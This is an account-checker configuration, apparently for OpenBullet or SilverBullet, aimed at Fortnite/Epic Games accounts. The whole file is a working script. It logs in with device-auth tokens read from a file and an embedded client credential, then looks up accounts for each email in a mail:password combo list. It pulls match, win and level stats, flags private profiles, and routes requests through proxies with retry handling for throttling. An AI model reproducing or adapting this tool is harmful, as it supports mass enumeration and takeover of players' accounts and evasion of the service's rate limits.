Code:
[SETTINGS]
{
"Name": "FORTNITE FN STATS",
"SuggestedBots": 25,
"MaxCPM": 0,
"LastModified": "2022-01-12T19:39:16.482304+04:00",
"AdditionalInfo": "",
"RequiredPlugins": [],
"Author": "? YASHVIRGAMING#7131 ?",
"Version": "1.1.2 [SB]",
"SaveEmptyCaptures": false,
"ContinueOnCustom": false,
"SaveHitsToTextFile": false,
"IgnoreResponseErrors": false,
"MaxRedirects": 8,
"NeedsProxies": true,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 0,
"BanProxyAfterGoodStatus": false,
"BanLoopEvasionOverride": -1,
"EncodeData": false,
"AllowedWordlist1": "MailPass",
"AllowedWordlist2": "",
"DataRules": [],
"CustomInputs": [],
"CaptchaUrl": "",
"IsBase64": false,
"FilterList": [],
"EvaluateMathOCR": false,
"SecurityProtocol": 0,
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"QuitOnBanRetry": false,
"AcceptInsecureCertificates": true,
"DisableNotifications": false,
"DisableImageLoading": false,
"DefaultProfileDirectory": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": "",
"Title": "FORTNITE FN STATS",
"IconPath": "Icon\\svbfile.ico",
"LicenseSource": null,
"Message": null,
"MessageColor": "#FFFFFFFF",
"HitInfoFormat": "[{hit.Type}][{hit.Proxy}] {hit.Data} - [{hit.CapturedString}]",
"AuthorColor": "#FFFFB266",
"WordlistColor": "#FFB5C2E1",
"BotsColor": "#FFA8FFFF",
"CustomInputColor": "#FFD6C7C7",
"CPMColor": "#FFFFFFFF",
"ProgressColor": "#FFAD93E3",
"HitsColor": "#FF66FF66",
"CustomColor": "#FFFFB266",
"ToCheckColor": "#FF7FFFD4",
"FailsColor": "#FFFF3333",
"RetriesColor": "#FFFFFF99",
"OcrRateColor": "#FF4698FD",
"ProxiesColor": "#FFFFFFFF"
}
[SCRIPT]
#Read_Device_Auths UTILITY File "DeviceYon.txt" ReadLines -> VAR "Z6auths"
#Randomize_Device_Auths UTILITY List "Z6auths" Random -> VAR "YONauths"
#Picks_the_Device_Auths PARSE "<YONauths>" LR "account_id=" "" UseRegexLR=TRUE -> VAR "auth"
#Login_with_Device_Auths REQUEST POST "https://account-public-service-prod.ol.epicgames.com/account/api/oauth/token"
CONTENT "grant_type=device_auth&account_id=<auth>"
CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "User-Agent: Fortnite/++Fortnite+Release-16.10-CL-15913292 Windows/10.0.19041.1.256.64bit"
HEADER "Authorization: basic MzQ0NmNkNzI2OTRjNGE0NDg1ZDgxYjc3YWRiYjIxNDE6OTIwOWQ0YTVlMjVhNDU3ZmI5YjA3NDg5ZDMxM2I0MWE="
HEADER "Content-Type: application/x-www-form-urlencoded"
#Checks_the_Login KEYCHECK
KEYCHAIN Success OR
KEY "{\"access_token\":\""
KEYCHAIN Retry OR
KEY "errors.com.epicgames.account.invalid_account_credentials"
KEY "errors.com.epicgames.common.throttled"
#Parses_Access_Token PARSE "<SOURCE>" LR "{\"access_token\":\"" "\"" -> VAR "atk"
#Grab_username REQUEST GET "https://account-public-service-prod.ol.epicgames.com/account/api/public/account/email/<USER>"
HEADER "User-Agent: Fortnite/++Fortnite+Release-16.10-CL-15913292 Windows/10.0.19041.1.256.64bit"
HEADER "Authorization: Bearer <atk>"
#Checks_the_Status_of_Username_Grabber KEYCHECK
KEYCHAIN Retry OR
KEY "errors.com.epicgames.common.throttled"
KEYCHAIN Success OR
KEY "<SOURCE>" DoesNotContain "errors.com.epicgames.common.throttled"
KEYCHAIN Failure OR
KEY "404"
KEY "errors.com.epicgames.account.account_not_found"
KEY "numericErrorCode\":18007"
#Parses_Display_Name PARSE "<SOURCE>" LR "displayName\":\"" "\"" CreateEmpty=FALSE -> CAP "Username"
#Parses_Account_ID PARSE "<SOURCE>" LR "{\"id\":\"" "\"" -> VAR "id"
#Grab_the_Stats REQUEST GET "https://fortnite-api.com/v1/stats/br/v2/<id>"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"
HEADER "Pragma: no-cache"
HEADER "Accept: */*"
#Matches PARSE "<SOURCE>" JSON "matches" CreateEmpty=FALSE -> CAP "Matches"
#Wins PARSE "<SOURCE>" JSON "wins" CreateEmpty=FALSE -> CAP "Wins"
#Level PARSE "<SOURCE>" JSON "level" CreateEmpty=FALSE -> CAP "Level"
#Private PARSE "<SOURCE>" LR "{\"status\":403,\"error\":\"the requested " "\"}" CreateEmpty=FALSE -> VAR "Private"
#Match_Sorter_and_Default_Sorter KEYCHECK BanOnToCheck=FALSE
KEYCHAIN Failure OR
KEY "does not exist"
KEY "didnt play"
KEY "could not find stats"
KEYCHAIN Ban OR
KEY "name param"
KEYCHAIN Success OR
KEY "the requested account's stats are not public"
KEY "<Matches>" GreaterThan "1000"
KEYCHAIN Retry OR
KEY "{\"status\":500,\"error\":\"failed to fetch account info "
KEY "CAPTCHA"
KEY "{\"status\":500,\"error\":\"failed to fetch the requested stats"
KEY "{\"status\":429,\"error\":\"the maximum allowed requests are 2 per 1s. try again in 1 second(s).\"}"
KEY "<RESPONSECODE>" Contains "429"
IF "<Private>" Exists
FUNCTION Constant "True" -> CAP "Private Stats"
ENDIF
#Match_Sorter_and_Default_Sorter KEYCHECK BanOnToCheck=FALSE
KEYCHAIN Custom "CUSTOM" OR
KEY "<Matches>" LessThan "1000"
KEYCHAIN Success OR
KEY "<Private Stats>" Contains "the requested account's stats are not public"
KEY "<Matches>" GreaterThan "1000"